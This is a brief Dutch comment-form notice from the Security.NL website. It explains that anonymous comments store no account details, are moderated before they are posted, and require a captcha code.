Je bent niet en reageert "Anoniem". Dit betekent dat Security.NL geen accountgegevens (e-mailadres en alias) opslaat voor deze reactie. Je reactie wordt niet direct geplaatst maar eerst gemodereerd. Als je nog geen account hebt kun je hier direct een account aanmaken. Wanneer je Anoniem reageert moet je altijd een captchacode opgeven.